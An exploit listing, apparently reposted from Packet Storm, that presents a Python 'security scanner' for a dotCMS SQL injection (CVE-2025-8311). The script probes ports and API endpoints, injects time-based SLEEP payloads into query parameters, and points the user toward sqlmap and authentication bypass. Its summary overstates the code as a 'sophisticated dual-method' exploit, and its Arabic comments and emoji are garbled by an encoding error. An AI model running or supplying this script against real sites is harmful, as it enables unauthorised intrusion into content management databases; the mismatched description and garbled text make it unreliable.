Share
## https://sploitus.com/exploit?id=PACKETSTORM:212820
=============================================================================================================================================
    | # Title     : dotCMS 25.07.02-1 Security Scanner                                                                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.dotcms.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211125/ & 	CVE-2025-8311
    
    [+] Summary :  This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems. 
                   
    	
    [+]  Usage :   * : Save as: poc.py
                       Run    : python poc.py
    	
    [+]  POC :	
      
    #!/usr/bin/env python3
    """
    dotCMS SQL Injection Scanner 
    """
    
    import sys
    import time
    import socket
    import requests
    import argparse
    from urllib.parse import urlparse
    
    requests.packages.urllib3.disable_warnings()
    
    class SimpleDotCMSScanner:
        def __init__(self, target):
            self.target = target
            self.session = requests.Session()
            self.session.verify = False
            self.session.timeout = 10
            
            # ู‚ุงุฆู…ุฉ ุจุงู„ู…ู†ุงูุฐ ุงู„ุดุงุฆุนุฉ ู„ู€dotCMS
            self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888]
            
            # ู‚ุงุฆู…ุฉ ุจู€subdomains ู…ุญุชู…ู„ุฉ
            self.common_subdomains = [
                "demo", "test", "dev", "staging", 
                "admin", "portal", "cms", "dotcms"
            ]
            
            # ู‚ุงุฆู…ุฉ ุจู€paths ุดุงุฆุนุฉ
            self.common_paths = [
                "/", "/dotAdmin/", "/html/", "/c/", 
                "/api/v1/", "/api/", "/application/",
                "/admin/", "/login", "/signin"
            ]
    
        def test_port(self, host, port):
            """ุงุฎุชุจุงุฑ ุฅุฐุง ูƒุงู† ุงู„ู…ู†ูุฐ ู…ูุชูˆุญุงู‹"""
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(3)
                result = sock.connect_ex((host, port))
                sock.close()
                return result == 0
            except:
                return False
    
        def discover_dotcms(self):
            """ุงูƒุชุดุงู ุฅุนุฏุงุฏ dotCMS"""
            print("\n๐Ÿ” Discovering dotCMS configuration...")
            
            # ุชู†ุธูŠู ุงู„ู‡ุฏู
            target = self.target.lower().strip()
            
            results = {
                "host": "",
                "port": None,
                "protocol": "https",
                "base_url": "",
                "accessible": False
            }
            
            # ุชุฌุฒุฆุฉ ุงู„ู‡ุฏู
            if "://" in target:
                parsed = urlparse(target)
                host = parsed.netloc
                if ":" in host:
                    host, port = host.split(":", 1)
                    port = int(port)
                else:
                    port = None
            else:
                host = target
                port = None
            
            # ุฅุฒุงู„ุฉ www ุฅุฐุง ูƒุงู† ู…ูˆุฌูˆุฏุงู‹
            if host.startswith("www."):
                host = host[4:]
            
            results["host"] = host
            
            # ุชุญุฏูŠุฏ ุงู„ู…ู†ูุฐ
            if port:
                results["port"] = port
            else:
                # ุงุฎุชุจุงุฑ ุงู„ู…ู†ุงูุฐ ุงู„ุดุงุฆุนุฉ
                for port in self.common_ports:
                    if self.test_port(host, port):
                        print(f"  โœ“ Port {port} is open")
                        results["port"] = port
                        break
            
            if not results["port"]:
                print("  โœ— No open ports found")
                return results
            
            # ุงุฎุชุจุงุฑ ุงู„ุจุฑูˆุชูˆูƒูˆู„ุงุช
            protocols = ["https", "http"]
            for protocol in protocols:
                base_url = f"{protocol}://{host}:{results['port']}"
                
                # ุงุฎุชุจุงุฑ ุงู„ุงุชุตุงู„
                for path in self.common_paths[:3]:  # ุฃูˆู„ 3 ูู‚ุท ู„ู„ุณุฑุนุฉ
                    url = base_url + path
                    try:
                        response = self.session.get(url, timeout=5)
                        if response.status_code < 500:
                            print(f"  โœ“ {protocol.upper()} accessible at {url}")
                            results["protocol"] = protocol
                            results["base_url"] = base_url
                            results["accessible"] = True
                            
                            # ุงู„ุชุญู‚ู‚ ู…ู† ูˆุฌูˆุฏ dotCMS
                            if "dotcms" in response.text.lower():
                                print(f"  โœ“ dotCMS detected!")
                            elif "dotadmin" in response.text.lower():
                                print(f"  โœ“ dotAdmin detected!")
                            
                            return results
                    except Exception as e:
                        continue
            
            return results
    
        def find_public_apis(self, base_url):
            """ุงู„ุจุญุซ ุนู† ูˆุงุฌู‡ุงุช API ุนุงู…ุฉ"""
            print("\n๐Ÿ”Ž Searching for public APIs...")
            
            api_endpoints = [
                "/api/v1/system/status",
                "/api/v1/version",
                "/api/v1/sites",
                "/api/v1/content",
                "/api/v1/nav",
                "/api/v1/menu",
                "/api/v1/widgets",
                "/api/v1/containers",
                "/api/v1/templates"
            ]
            
            found_apis = []
            
            for endpoint in api_endpoints:
                url = base_url + endpoint
                try:
                    response = self.session.get(url, timeout=5)
                    
                    if response.status_code == 200:
                        print(f"  โœ“ Public API: {endpoint}")
                        found_apis.append({
                            "url": url,
                            "status": response.status_code,
                            "content_type": response.headers.get('Content-Type', ''),
                            "size": len(response.content)
                        })
                    elif response.status_code in [401, 403]:
                        print(f"  ! Protected API: {endpoint} (Auth required)")
                    elif response.status_code == 404:
                        pass  # ู„ุง ุชุนุฑุถ ุงู„ู€404
                    else:
                        print(f"  ? API: {endpoint} (Status: {response.status_code})")
                        
                except Exception as e:
                    pass
            
            return found_apis
    
        def quick_sqli_test(self, api_url):
            """ุงุฎุชุจุงุฑ ุณุฑูŠุน ู„ู€SQL Injection"""
            print(f"\nโšก Quick SQLi test on: {api_url}")
            
            # ุงุฎุชุจุงุฑ ุจุณูŠุท ู„ู€Time-based SQLi
            test_params = ["filter", "orderby", "sort", "id", "type"]
            
            for param in test_params:
                test_url = f"{api_url}?{param}=test"
                
                # ุจุงูŠู„ูˆุฏ Time-based
                payloads = [
                    "' AND SLEEP(3)--",
                    "' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--",
                    "') AND SLEEP(3)--"
                ]
                
                for payload in payloads:
                    full_url = test_url + payload
                    try:
                        start = time.time()
                        response = self.session.get(full_url, timeout=10)
                        elapsed = time.time() - start
                        
                        if elapsed >= 3:
                            print(f"  ๐Ÿšจ POSSIBLE TIME-BASED SQLi in parameter: {param}")
                            print(f"     Payload: {payload}")
                            print(f"     Response time: {elapsed:.2f}s")
                            return True
                            
                    except requests.exceptions.Timeout:
                        print(f"  ๐Ÿšจ TIMEOUT - Possible SQLi in parameter: {param}")
                        return True
                    except:
                        pass
            
            print("  โœ“ No obvious SQLi detected")
            return False
    
        def scan(self):
            """ุงู„ู…ุณุญ ุงู„ุฑุฆูŠุณูŠ"""
            print("\n" + "="*60)
            print("dotCMS Security Scanner")
            print("="*60)
            
            # ุงู„ุฎุทูˆุฉ 1: ุงู„ุงูƒุชุดุงู
            config = self.discover_dotcms()
            
            if not config["accessible"]:
                print("\nโŒ Cannot access the target")
                print("\n๐Ÿ’ก Try these alternatives:")
                print("   1. python scanner.py localhost:8443")
                print("   2. python scanner.py 127.0.0.1:8080")
                print("   3. python scanner.py your-domain.com")
                return
            
            print(f"\nโœ… Target found:")
            print(f"   Host: {config['host']}")
            print(f"   Port: {config['port']}")
            print(f"   Protocol: {config['protocol']}")
            print(f"   Base URL: {config['base_url']}")
            
            # ุงู„ุฎุทูˆุฉ 2: ุงู„ุจุญุซ ุนู† APIs
            apis = self.find_public_apis(config["base_url"])
            
            if not apis:
                print("\nโš ๏ธ  No public APIs found")
                print("\n๐ŸŽฏ Try these common endpoints:")
                for path in self.common_paths:
                    print(f"   {config['base_url']}{path}")
                return
            
            # ุงู„ุฎุทูˆุฉ 3: ุงุฎุชุจุงุฑ SQLi ุนู„ู‰ ูƒู„ API
            sql_vulnerabilities = []
            for api in apis:
                if self.quick_sqli_test(api["url"]):
                    sql_vulnerabilities.append(api["url"])
            
            # ุนุฑุถ ุงู„ู†ุชุงุฆุฌ
            print("\n" + "="*60)
            print("SCAN RESULTS")
            print("="*60)
            
            print(f"\n๐Ÿ“Š Summary:")
            print(f"   Total APIs found: {len(apis)}")
            print(f"   Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}")
            
            if sql_vulnerabilities:
                print(f"\n๐Ÿšจ Vulnerable endpoints:")
                for vuln in sql_vulnerabilities:
                    print(f"   โ€ข {vuln}")
                
                print(f"\n๐Ÿ’ก Next steps:")
                print(f"   1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"")
                print(f"   2. Use the full exploit script with authentication token")
                print(f"   3. Check for authentication bypass methods")
            else:
                print(f"\nโœ… No SQL injection vulnerabilities found in public APIs")
                print(f"\n๐Ÿ’ก Try authenticated endpoints if you have credentials")
    
    def main():
        parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner")
        parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)")
        
        args = parser.parse_args()
        
        print(r"""
     โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— 
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆ   โ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
     โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•
        dotCMS Security Scanner 
        """)
        
        scanner = SimpleDotCMSScanner(args.target)
        scanner.scan()
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n\n[!] Scan interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"\n[!] Error: {e}")
            sys.exit(1)
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================